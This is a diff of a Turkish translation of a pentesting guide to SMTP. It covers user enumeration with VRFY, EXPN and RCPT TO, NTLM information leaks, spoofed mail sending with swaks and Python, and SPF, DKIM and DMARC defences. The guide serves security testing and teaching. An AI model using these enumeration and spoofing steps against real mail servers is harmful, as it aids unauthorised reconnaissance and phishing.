-3. **SMTP VRFY Komutu**: SMTP sunucusunda kullanıcı adlarını doğrulamak için VRFY komutunu kullanın. Bu, geçerli kullanıcı adlarını belirlemek için kullanılabilir. - -4. **SMTP EXPN Komutu**: SMTP sunucusunda posta listelerini genişletmek için EXPN komutunu kullanın. Bu, posta listelerinin veya dağıtım listelerinin adlarını elde etmek için kullanılabilir. - -5. **SMTP RCPT TO Komutu**: SMTP sunucusunda geçerli bir alıcı adresi belirlemek için RCPT TO komutunu kullanın. Bu, hedef e-posta adreslerini belirlemek için kullanılabilir. - -6. **SMTP MAIL FROM Komutu**: SMTP sunucusunda geçerli bir gönderen adresi belirlemek için MAIL FROM komutunu kullanın. Bu, hedef e-posta adreslerini belirlemek için kullanılabilir. - -7. **SMTP EHLO Komutu**: SMTP sunucusuyla etkileşimde bulunmak için EHLO komutunu kullanın. Bu, sunucunun desteklediği özellikleri ve genişletmeleri belirlemek için kullanılabilir. - -8. **SMTP STARTTLS Komutu**: SMTP sunucusu TLS şifrelemesini destekliyorsa, STARTTLS komutunu kullanarak güvenli bir bağlantı kurun. - -9. **SMTP AUTH Komutu**: SMTP sunucusu kimlik doğrulama gerektiriyorsa, AUTH komutunu kullanarak kimlik doğrulama yöntemlerini belirleyin. - -10. **SMTP Relay Kontrolü**: SMTP sunucusunun açık bir relay sunucusu olup olmadığını kontrol edin. Açık bir relay sunucusu, yetkisiz kullanıcıların sunucuyu spam göndermek için kullanmasına izin verir. - -11. **SMTP Güvenlik Zayıflıkları**: SMTP sunucusunda güvenlik zayıflıklarını araştırın ve istismar etmek için uygun araçları kullanın. Örneğin, zayıf kimlik doğrulama yöntemleri, zayıf şifreler veya güncel olmayan yazılım sürümleri gibi zayıflıklar olabilir. - -12. **SMTP User Enumeration**: SMTP sunucusunda kullanıcı adlarını belirlemek için farklı teknikleri kullanın. Örneğin, hedef e-posta adreslerine gönderilen yanıtları analiz edebilir veya hedef e-posta adreslerine sahip kullanıcıları hedefleyen bir saldırı gerçekleştirebilirsiniz. - -Bu adımlar, SMTP sunucusunu hedefleyen bir saptama sürecinin temelini oluşturur. Bu adımları takip ederek, hedef SMTP sunucusu hakkında daha fazla bilgi edinebilir ve potansiyel zayıflıkları tespit edebilirsiniz. +### Numaralandırma ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Bilgi sızdırma -Sunucu NTLM kimlik doğrulamasını destekliyorsa (Windows), hassas bilgileri (sürümler) elde edebilirsiniz. Daha fazla bilgi için [**buraya**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666) bakın. +Eğer sunucu NTLM kimlik doğrulamayı destekliyorsa (Windows), hassas bilgileri (sürümler) elde edebilirsiniz. Daha fazla bilgi için [**buraya**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666) bakabilirsiniz. ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner @@ -151,11 +78,11 @@ NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` -Veya bunu **nmap** eklentisi `smtp-ntlm-info.nse` ile **otomatikleştirin**. +Veya bunu **nmap** eklentisi `smtp-ntlm-info.nse` ile **otomatikleştirin** -### İç sunucu adı - Bilgi sızdırma +### Dahili sunucu adı - Bilgi sızdırma -Bazı SMTP sunucuları, "MAIL FROM" komutu tam bir adres olmadan gönderenin adresini otomatik olarak tamamlar ve iç adını ifşa eder: +Bazı SMTP sunucuları, tam bir adres olmadan "MAIL FROM" komutu verildiğinde gönderenin adresini otomatik olarak tamamlar ve dahili adını ifşa eder: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all @@ -176,13 +103,13 @@ MAIL FROM: me ``` ### Sniffing -Paketlerden 25 numaralı porta ait bazı şifreleri alıp almadığınızı kontrol edin. +Paketlerden port 25'e ait bazı şifreleri aldığınızı kontrol edin -### [Kimlik doğrulama bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp) +### [Kimlik doğrulama kaba kuvvet saldırısı](../../generic-methodologies-and-resources/brute-force.md#smtp) -## Kullanıcı Adı Bruteforce Numaralandırma +## Kullanıcı Adı Kaba Kuvvet Numaralandırması -**Kimlik doğrulama her zaman gerekli değildir** +**Kimlik doğrulaması her zaman gerekli değildir** ### RCPT TO ```bash @@ -204,11 +131,7 @@ RCPT TO:ed ``` ### VRFY -VRFY (Verify) komutu, SMTP (Simple Mail Transfer Protocol) sunucusunda belirli bir kullanıcı adının geçerli olup olmadığını doğrulamak için kullanılır. Bu komut, bir saldırganın hedef sistemdeki kullanıcı adlarını keşfetmesine yardımcı olabilir. - -VRFY komutunu kullanarak, saldırgan bir kullanıcı adını doğrulayabilir ve böylece hedef sistemdeki kullanıcı hesaplarının listesini elde edebilir. Bu bilgi, saldırganın hedef sistemdeki zayıf veya yaygın kullanılan kullanıcı adları hakkında bilgi sahibi olmasını sağlar ve daha fazla saldırı vektörü oluşturabilir. - -Saldırganlar, VRFY komutunu kullanarak hedef sistemdeki kullanıcı adlarını keşfetmek için otomatik araçlar kullanabilir. Bu nedenle, SMTP sunucularının VRFY komutunu devre dışı bırakması veya kullanıcı adı doğrulama işlemini sınırlaması önemlidir. Bu, saldırganların kullanıcı adı keşfi saldırılarını engelleyebilir ve hedef sistemdeki kullanıcı hesaplarının güvenliğini artırabilir. +VRFY komutu, SMTP sunucusundaki kullanıcı adlarını doğrulamak için kullanılır. Bu komut, saldırganlara hedef SMTP sunucusunda geçerli kullanıcı adlarını belirleme ve hedefe yönelik saldırılar için bilgi toplama imkanı sağlar. Bu nedenle, hedef SMTP sunucusunda VRFY komutunun devre dışı bırakılması önerilir. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... @@ -226,26 +149,7 @@ VRFY blah ``` ### EXPN -SMTP sunucusunda bulunan EXPN komutu, bir e-posta adresinin gerçek kullanıcı adını ortaya çıkarmak için kullanılır. Bu komut, SMTP sunucusunun adres defterini açığa çıkarabilir ve saldırganlara hedef sistemdeki kullanıcı hesaplarını belirleme imkanı sağlar. - -Bu komut, bir saldırganın hedef sistemdeki kullanıcı adlarını toplamasına yardımcı olabilir ve daha sonra bu bilgileri başka saldırılar için kullanabilir. Bu nedenle, SMTP sunucusunda EXPN komutunun devre dışı bırakılması önemlidir. - -EXP komutu, aşağıdaki şekilde kullanılır: - -``` -EXPN -``` - -SMTP sunucusu, e-posta adresinin gerçek kullanıcı adını yanıt olarak döndürecektir. Bu bilgi, saldırganın hedef sistemdeki kullanıcı hesaplarını belirlemesine yardımcı olabilir. - -EXP komutunun devre dışı bırakılması için aşağıdaki adımlar izlenebilir: - -1. SMTP sunucusuna yönetici erişimi sağlayın. -2. SMTP sunucusunun yapılandırma dosyasını açın. -3. EXPN komutunu devre dışı bırakmak için ilgili yapılandırma ayarını değiştirin. -4. Yapılandırma dosyasını kaydedin ve SMTP sunucusunu yeniden başlatın. - -Bu adımlar, EXPN komutunu devre dışı bırakarak hedef sistemdeki kullanıcı hesaplarının gizliliğini korumaya yardımcı olacaktır. +EXP komutu, SMTP sunucusundaki bir posta listesini genişletmek için kullanılır. Bu komut, posta listesindeki tüm e-posta adreslerini görüntülemek için kullanılabilir. Bu bilgi, saldırganların hedefe yönelik sosyal mühendislik saldırıları için yararlı olabilir. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... @@ -263,30 +167,20 @@ EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` ### Otomatik araçlar - -There are several automatic tools available for SMTP pentesting that can help in identifying vulnerabilities and conducting attacks. These tools automate the process and make it easier for pentesters to assess the security of SMTP servers. Some popular automatic tools for SMTP pentesting include: - -- **Nmap**: A powerful network scanning tool that can be used to discover open SMTP ports and identify potential vulnerabilities. -- **Metasploit**: A widely-used penetration testing framework that includes modules for SMTP exploitation. -- **OpenVAS**: An open-source vulnerability scanner that can be used to scan SMTP servers for known vulnerabilities. -- **SMTP User Enumeration**: A tool specifically designed for enumerating valid users on an SMTP server. -- **SMTPTester**: A Python-based tool that can be used to test the security of SMTP servers by sending various types of email messages. - -These tools can save time and effort for pentesters by automating the process of identifying vulnerabilities and conducting attacks on SMTP servers. However, it is important to use them responsibly and with proper authorization to avoid any legal issues. ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ``` -
+
-**Hemen kullanılabilir bir zafiyet değerlendirme ve penetrasyon testi kurulumu**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. +**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar. {% embed url="https://pentest-tools.com/" %} ## DSN Raporları -**Teslim Durumu Bildirimi Raporları**: Bir **e-posta**yı bir kuruluşa **geçersiz bir adrese** gönderirseniz, kuruluş size geri dönerek adresin geçersiz olduğunu bildirir. Geri dönen e-postanın **başlıkları**, raporlarla etkileşimde bulunan posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgisi gibi olası **hassas bilgileri içerecektir**. +**Teslimat Durumu Bildirimi Raporları**: Bir **e-posta** gönderirseniz ve **geçersiz bir adrese** gönderirseniz, kuruluş size adresin geçersiz olduğunu bildirerek bir **e-posta geri gönderir**. Geri gönderilen e-postanın **başlıkları**, raporlarla etkileşimde bulunan e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi olası **duyarlı bilgileri içerebilir**. ## [Komutlar](smtp-commands.md) @@ -306,35 +200,9 @@ swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --hea ``` ### Python ile E-posta Gönderme -Python, SMTP (Simple Mail Transfer Protocol) protokolünü kullanarak e-posta göndermek için kullanılabilir. SMTP, e-posta sunucusu ile iletişim kurmak için kullanılan bir iletişim protokolüdür. Aşağıda, Python kullanarak nasıl e-posta gönderebileceğinizi gösteren bir örnek bulunmaktadır: +
-```python -import smtplib -from email.mime.text import MIMEText - -def send_email(sender, receiver, subject, message): - # E-posta içeriğini oluşturma - msg = MIMEText(message) - msg['Subject'] = subject - msg['From'] = sender - msg['To'] = receiver - - # SMTP sunucusuna bağlanma - server = smtplib.SMTP('smtp.example.com', 587) - server.starttls() - server.login('username', 'password') - - # E-postayı gönderme - server.sendmail(sender, receiver, msg.as_string()) - server.quit() - -# E-posta gönderme işlemini çağırma -send_email('sender@example.com', 'receiver@example.com', 'Test Email', 'Bu bir test e-postasıdır.') -``` - -Yukarıdaki örnekte, `send_email` fonksiyonu, gönderen, alıcı, konu ve mesaj parametrelerini alır. `MIMEText` sınıfı kullanılarak e-posta içeriği oluşturulur ve gerekli başlık alanları ayarlanır. Ardından, SMTP sunucusuna bağlanılır ve kimlik doğrulama yapılır. Son olarak, `sendmail` yöntemi kullanılarak e-posta gönderilir. - -Bu örnek, Python kullanarak e-posta göndermek için temel bir şablondur. Gerçek bir senaryoda, SMTP sunucusunun doğru yapılandırıldığından ve kimlik doğrulama bilgilerinin güvenli bir şekilde saklandığından emin olmanız gerekmektedir. +Python kodu burada ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText @@ -377,50 +245,60 @@ server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ``` -## E-posta Sahteciliği Karşı Önlemler +
-Kuruluşlar, SMTP mesajlarının sahtelenmesinin kolaylığı nedeniyle **SPF**, **DKIM** ve **DMARC** kullanarak yetkisiz e-postaların kendi adlarına gönderilmesini engellerler. +## SMTP Smuggling -Bu önlemlerin **tam bir kılavuzu** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde bulunabilir. +SMTP Smuggling zafiyeti, tüm SMTP korumalarını atlamayı sağladı (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için şu adrese bakın: + +{% content-ref url="smtp-smuggling.md" %} +[smtp-smuggling.md](smtp-smuggling.md) +{% endcontent-ref %} + +## Mail Spoofing Karşı Tedbirler + +**SPF**, **DKIM** ve **DMARC** kullanarak organizasyonlar, SMTP ileti göndermeyi kolaylaştırdığı için yetkisiz e-postaların gönderilmesini engeller. + +Bu karşı tedbirler hakkında **kapsamlı bir kılavuz** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde bulunabilir. ### SPF {% hint style="danger" %} -SPF [2014 yılında "kullanımdan kaldırıldı"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Bu, `_spf.domain.com` yerine `domain.com`'da **aynı sözdizimini** kullanarak **TXT kaydı** oluşturmanız gerektiği anlamına gelir.\ +SPF [2014 yılında "kaldırıldı"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Bu, `_spf.domain.com` içinde bir **TXT kaydı** oluşturmak yerine aynı **sözdizimini** kullanarak `domain.com` içinde oluşturmanız gerektiği anlamına gelir.\ Ayrıca, önceki SPF kayıtlarını yeniden kullanmak için `"v=spf1 include:_spf.google.com ~all"` gibi bir şey bulmak oldukça yaygındır. {% endhint %} -**Gönderen Politika Çerçevesi** (SPF), E-posta Aktarım Ajanlarının (MTA'lar) yetkilendirilmiş posta sunucularının bir listesini sorgulayarak bir e-postayı gönderen bir ana bilgisayarın yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, IP adresleri/aralıkları, alan adları ve diğer varlıkların **bir alan adı adına e-posta göndermeye yetkili** olduğunu belirten SPF kaydında çeşitli "**Mekanizmalar**" içerir. +**Gönderen Politika Çerçevesi** (SPF), E-posta Transfer Ajanlarının (MTA'ların) yetkilendirilmiş e-posta sunucularının listesini sorgulayarak bir e-posta gönderen ana bilgisayarın yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, IP adresleri/aralıkları, alanlar ve diğer varlıkları belirten SPF kaydındaki çeşitli "**Mekanizmaları**" içerir. #### Mekanizmalar -[Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework)'dan alınan bilgilere göre: +[Wikipedia'dan](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): -| Mekanizma | Açıklama | +| Mekanizma | Açıklama | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Her zaman eşleşir; önceki mekanizmalar tarafından eşleşmeyen tüm IP'ler için `-all` gibi bir varsayılan sonuç için kullanılır. | -| A | Eğer alan adının bir adres kaydı (A veya AAAA) gönderenin adresine çözümlenebilirse, eşleşir. | -| IP4 | Gönderen, belirli bir IPv4 adres aralığında ise eşleşir. | -| IP6 | Gönderen, belirli bir IPv6 adres aralığında ise eşleşir. | -| MX | Eğer alan adının gönderenin adresine çözümlenen bir MX kaydı varsa, eşleşir (yani posta, alanın gelen posta sunucularından birinden gelir). | -| PTR | İstemcinin adresi için (PTR kaydı) belirtilen etki alanı ve bu etki alanı adı istemcinin adresine çözümlenirse (ileri doğrulanan ters DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır. | -| EXISTS | Belirtilen etki alanı adı herhangi bir adrese çözümlenirse, eşleşir (çözümlenen adresin önemi yoktur). Bu nadiren kullanılır. SPF makro dilinin yanı sıra DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. | -| INCLUDE | Başka bir etki alanının politikasına başvurur. Bu mekanizmanın geçmesi için o etki alanının politikasının geçmesi gerekir. Ancak, dahil edilen politika başarısız olursa, işleme devam eder. Başka bir etki alanının politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. | -| REDIRECT |

Yönlendirme, başka bir etki alanı adını işaret eden bir işaretçidir ve aynı SPF politikasını paylaşan birden fazla etki alanına izin verir. Büyük miktarda etki alanıyla çalışırken faydalıdır.

Yönlendirme Mekanizmasında belirtilen etki alanının SPF politikası kullanılacaktır.

| +| ALL | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi varsayılan bir sonuç için kullanılır. | +| A | Eğer alan adının bir adres kaydı (A veya AAAA) gönderenin adresine çözümlenebiliyorsa eşleşir. | +| IP4 | Gönderen belirli bir IPv4 adres aralığında ise eşleşir. | +| IP6 | Gönderen belirli bir IPv6 adres aralığında ise eşleşir. | +| MX | Alan adının gönderenin adresine çözümlenen bir MX kaydı varsa eşleşir (yani posta alanının gelen posta sunucularından birinden geldiği anlamına gelir). | +| PTR | İstemcinin adresi için (PTR kaydı) verilen alan adı belirli bir alanda ise ve bu alan adı istemcinin adresine çözümlenirse (ileri doğrulamalı ters DNS), eşleşir. Bu mekanizma tavsiye edilmez ve mümkünse kaçınılmalıdır. | +| EXISTS | Verilen alan adı herhangi bir adrese çözümlenirse eşleşir (çözümlenen adresin önemi yoktur). Bu nadiren kullanılır. SPF makro dili ile birlikte DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. | +| INCLUDE | Başka bir alanın politikasına referans verir. Bu alanın politikası geçerse, bu mekanizma geçer. Ancak dahil edilen politika başarısız olursa, işlem devam eder. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. | +| REDIRECT |

Yönlendirme, SPF politikasını barındıran başka bir alan adına bir işaretçidir, aynı SPF politikasını paylaşan birçok alanla çalışırken faydalıdır.

Yönlendirme Mekanizmasında belirtilen alan adının SPF politikası kullanılacaktır.

| -Ayrıca, **bir mekanizma eşleştiğinde ne yapılması gerektiğini belirten Nitelendiricileri** tanımlamak da mümkündür. Varsayılan olarak, **nitelendirici "+"** kullanılır (bu nedenle herhangi bir mekanizma eşleşirse, izin verildiği anlamına gelir).\ -Genellikle **her SPF politikasının sonunda** şu gibi bir şey göreceksiniz: **\~all** veya **-all**. Bu, **gönderenin herhangi bir SPF politikasına uymadığı durumda e-postayı güvenilmez olarak etiketlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini belirtmek için kullanılır.** +**Eşleşen bir mekanizma olduğunda ne yapılacağını belirten** **Kalifikatörler** de tanımlamak mümkündür. Varsayılan olarak, **kalifikatör "+"** kullanılır (yani herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\ +Genellikle **her SPF politikasının sonunda** şöyle bir şey göreceksiniz: **\~all** veya **-all**. Bu, **gönderenin herhangi bir SPF politikasına uymadığı durumda e-postayı güvensiz olarak işaretlemeniz gerektiğini (\~) veya e-postayı reddetmeniz gerektiğini (-) belirtmek için kullanılır.** -#### Nitelendiriciler +#### Kalifikatörler -Politika içindeki her mekanizma, amaçlanan sonucu tanımlamak için dört nitelendiriciden biriyle başlayabilir: +Politika içindeki her mekanizma, amaçlanan sonucu tanımlamak için dört kalifikatörden biri ile başlatılabilir: -* **`+`**: Geçerli sonuca karşılık gelir. Varsayılan olarak, mekanizmalar bu nitelendiriciyi varsayar, bu nedenle `+mx`, `mx` ile eşdeğerdir. -* **`?`**: NÖTR sonucunu temsil eder, özel bir politika olmadığı gibi benzer şekilde işlenir. -* **`~`**: SOFTFAIL'i belirtir, NÖTR ve BAŞARISIZ arasında bir orta nokta olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir, ancak buna göre işaretlenir. -* **`-`**: BAŞARISIZ olduğunu belirtir, e-postanın kesinlikle reddedilmesi gerektiğini önerir. +* **`+`**: Bir GEÇİŞ sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu kalifikatörü varsayar, bu da `+mx`nin `mx` ile eşdeğer olduğu anlamına gelir. +* **`?`**: BELİRSİZ sonucu temsil eder, BENZER şekilde işlenir NONE (belirli bir politika yok). +* **`~`**: SOFTFAIL'i belirtir, NEUTRAL ve FAIL arasında bir ara nokta olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak buna göre işaretlenir. +* **`-`**: FAIL'i belirtir, e-postanın kesinlikle reddedilmesi gerektiğini önerir. -Aşağıdaki örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı etki alanlarından SPF politikalarının dahil edildiğine dikkat edin: +Yaklaşan örnekte, **google.com'un SPF politikası** gösterilmektedir. İlk SPF politikasında farklı alanlardan SPF politikalarının dahil edilmesine dikkat edin: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" @@ -439,17 +317,17 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Geleneksel olarak, doğru/bir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, **geçerli bir SPF kaydı olmayan bir alan adından gelen e-postalar** muhtemelen **otomatik olarak reddedilecek/şüpheli olarak işaretlenecektir**. +Geleneksel olarak, doğru/bir SPF kaydı olmayan bir alan adını taklit etmek mümkündü. **Günümüzde**, **e-posta** bir **geçerli SPF kaydı olmayan bir alandan gelirse** muhtemelen **otomatik olarak reddedilecek/untrusted olarak işaretlenecektir**. Bir alan adının SPF'sini kontrol etmek için [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) gibi çevrimiçi araçlar kullanabilirsiniz. ### DKIM (DomainKeys Identified Mail) -DKIM, çıkış e-postalarını imzalamak için kullanılır ve bunların DNS'den alan adının genel anahtarının alınmasıyla harici Posta Aktarım Ajanları (MTA'lar) tarafından doğrulanmasını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için, seçici ve alan adının bilinmesi gerekir. +DKIM, dışa doğru gönderilen e-postaları imzalamak için kullanılır ve bunların alan adının genel anahtarının DNS'den alınarak harici Posta Transfer Ajanları (MTA'lar) tarafından doğrulanmasını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için, hem seçiciyi hem de alan adını bilmek gerekir. -Örneğin, anahtarı istemek için alan adı ve seçici önemlidir. Bunlar, posta başlığındaki `DKIM-Signature` bölümünde bulunabilir, örneğin `d=gmail.com;s=20120113`. +Örneğin, anahtarı istemek için alan adı ve seçici önemlidir. Bunlar posta başlığında `DKIM-Signature` içinde bulunabilir, örneğin, `d=gmail.com;s=20120113`. -Bu bilgileri almak için bir komut şu şekilde olabilir: +Bu bilgileri almak için bir komut şöyle olabilir: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: @@ -457,9 +335,9 @@ dig 20120113._domainkey.gmail.com TXT | grep p= ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) -DMARC, SPF ve DKIM protokollerine dayanarak e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesiyle ilgili politikaları belirler, kimlik doğrulama hatalarıyla nasıl başa çıkılacağını ve e-posta işleme eylemleri hakkında raporların nereye gönderileceğini belirtir. +DMARC, SPF ve DKIM protokollerine dayanarak e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesi konusunda posta sunucularına rehberlik eden politikaları belirler, kimlik doğrulama hatalarıyla nasıl başa çıkılacağını ve e-posta işleme işlemleri hakkında raporların nereye gönderileceğini belirtir. -**DMARC kaydını elde etmek için \_dmarc alt alanını sorgulamanız gerekmektedir.** +**DMARC kaydını almak için \_dmarc alt alanını sorgulamanız gerekmektedir.** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC @@ -476,41 +354,41 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA #### DMARC etiketleri | Etiket Adı | Amaç | Örnek | -| ---------- | --------------------------------------------- | ------------------------------- | -| v | Protokol sürümü | v=DMARC1 | -| pct | Filtrelemeye tabi tutulan iletilerin yüzdesi | pct=20 | -| ruf | Adli raporlama URI'si | ruf=mailto:authfail@example.com | -| rua | Toplu raporlama URI'si | rua=mailto:aggrep@example.com | -| p | Kuruluş alanı için politika | p=quarantine | -| sp | OD'nin alt alanları için politika | sp=reject | -| adkim | DKIM için hizalama modu | adkim=s | -| aspf | SPF için hizalama modu | aspf=r | +| -------- | --------------------------------------------- | ------------------------------- | +| v | Protokol sürümü | v=DMARC1 | +| pct | Filtreleme uygulanan mesajların yüzdesi | pct=20 | +| ruf | Adli raporlar için bildirim URI'si | ruf=mailto:authfail@example.com | +| rua | Toplu raporların bildirim URI'si | rua=mailto:aggrep@example.com | +| p | Kurumsal alan için politika | p=quarantine | +| sp | OD'nin alt alanları için politika | sp=reject | +| adkim | DKIM için hizalama modu | adkim=s | +| aspf | SPF için hizalama modu | aspf=r | -### **Alt Alanlar Hakkında Ne Düşünüyorsunuz?** +### **Alt Alanlar Hakkında Ne?** -**Buradan** [**buradan**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ +**Buradan** [**buraya**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmanız gerekmektedir.\ -Aşağıdaki bilgi, aslında bu tür bir şey için harika bir kaynak olan openspf.org'da yayınlanmıştır. +Aşağıdaki bilgi aslen openspf.org'da yayınlanmıştır, bu tür konular için harika bir kaynaktı. > Şeytan Sorusu: Peki alt alanlar ne olacak? > -> Eğer pielovers.demon.co.uk'dan bir e-posta alırsam ve pielovers için SPF verisi yoksa, geriye gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon'un politikasının varsayılan olarak tüm müşterilere uygulanması mantıklı olmaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir. +> Eğer pielovers.demon.co.uk'dan gelen bir e-posta alırsam ve pielovers için SPF verisi yoksa, geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon'un politikasının varsayılan olarak tüm müşterilerine uygulanması mantıklı olmazdı; eğer Demon bunu yapmak isterse, her alt alan için SPF kayıtları oluşturabilir. > > Bu nedenle SPF yayıncılarına verilen tavsiye şudur: her A veya MX kaydı olan alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz. > -> Yıldızlı A veya MX kayıtlarına sahip siteler, aşağıdaki gibi bir yıldızlı SPF kaydına da sahip olmalıdır: \* IN TXT "v=spf1 -all" +> Yıldızlı A veya MX kayıtlarına sahip sitelerin ayrıca aşağıdaki formatta bir yıldızlı SPF kaydı olmalıdır: \* IN TXT "v=spf1 -all" -Bu mantıklıdır - bir alt alan çok iyi farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir. +Bu mantıklıdır - bir alt alan muhtemelen farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir. ### **Açık Röle** -E-postalar gönderildiğinde, onların spam olarak işaretlenmemesini sağlamak önemlidir. Bu genellikle alıcı tarafından güvenilen bir **röle sunucusunun kullanılmasıyla** sağlanır. Bununla birlikte, yöneticilerin **hangi IP aralıklarının güvenli olduğunu tam olarak bilmediği** bir yaygın sorun vardır. Bu anlayış eksikliği, SMTP sunucusunun kurulumunda hatalara yol açabilir ve bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir. +E-postalar gönderildiğinde, onların spam olarak işaretlenmemesini sağlamak son derece önemlidir. Bu genellikle, **alıcı tarafından güvenilen bir röle sunucusunun kullanılmasıyla** başarılır. Ancak, yöneticilerin genellikle hangi **IP aralıklarının güvenli olduğunu tam olarak bilmedikleri** bir yaygın sorundur. Bu anlayış eksikliği, SMTP sunucusunun kurulumunda hatalara yol açabilir ve sıkça güvenlik değerlendirmelerinde tespit edilen bir risktir. -Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişim konusunda e-posta teslim sorunlarını önlemek için kullandığı bir çözüm, **herhangi bir IP adresinden gelen bağlantılara izin vermek**tir. Bu, SMTP sunucusunun `mynetworks` parametresini tüm IP adreslerini kabul edecek şekilde yapılandırmak suretiyle yapılır. Aşağıda gösterildiği gibi: +Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişimde yaşanan e-posta teslim sorunlarını önlemek için kullandığı bir çözüm, bağlantılara **herhangi bir IP adresinden izin vermek**tir. Bu, SMTP sunucusunun `mynetworks` parametresini tüm IP adreslerini kabul edecek şekilde yapılandırarak yapılır, aşağıda gösterildiği gibi: ```bash mynetworks = 0.0.0.0/0 ``` -Bir posta sunucusunun açık bir iletim noktası olup olmadığını kontrol etmek için (yani, herhangi bir harici 